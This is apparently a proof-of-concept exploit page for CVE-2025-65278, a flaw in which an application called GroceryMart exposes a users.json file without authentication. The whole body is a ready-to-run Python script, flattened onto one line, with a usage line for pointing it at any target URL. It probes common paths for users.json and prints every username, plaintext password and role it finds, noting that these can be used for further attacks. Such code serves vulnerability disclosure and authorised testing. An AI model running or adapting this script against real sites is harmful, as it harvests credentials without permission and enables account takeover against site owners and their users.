CVE-2025-65278 GroceryMart users.json敏感信息泄露漏洞

# CVE-2025-65278 PoC - GroceryMart Information Disclosure # Description: Unauthenticated access to users.json containing plaintext credentials import requests import json import sys def exploit_cve_2025_65278(target_url): """ Exploit for CVE-2025-65278: GroceryMart users.json Information Disclosure Target: GroceryMart application Vulnerability: Unauthenticated access to sensitive users.json file Impact: Disclosure of plaintext usernames and passwords """ print(f"[*] Targeting: {target_url}") print("[*] Exploiting CVE-2025-65278 - Information Disclosure\n") # Common paths where users.json might be located paths = [ "/users.json", "/data/users.json", "/config/users.json", "/api/users.json", "/assets/users.json", "/static/users.json" ] found_credentials = [] for path in paths: url = target_url.rstrip('/') + path print(f"[*] Trying: {url}") try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS! Found sensitive file at: {url}") try: users_data = response.json() print(f"[+] Parsed JSON data with {len(users_data)} user(s)\n") for user in users_data: username = user.get('username', user.get('email', 'N/A')) password = user.get('password', 'N/A') role = user.get('role', 'user') print(f" Username: {username}") print(f" Password: {password}") print(f" Role: {role}") print("-" * 50) found_credentials.append({ 'url': url, 'username': username, 'password': password, 'role': role }) except json.JSONDecodeError: print(f"[!] Response is not valid JSON") print(f"[!] Content preview: {response.text[:200]}...") except requests.RequestException as e: print(f"[!] Request failed: {e}") if found_credentials: print(f"\n[!] VULNERABLE - Found {len(found_credentials)} credential(s)") print("[!] These credentials can be used for further attacks") return True else: print("\n[-] Target may not be vulnerable or users.json not found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-65278.py <target_url>") print("Example: python cve-2025-65278.py http://vulnerable-site.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_65278(target)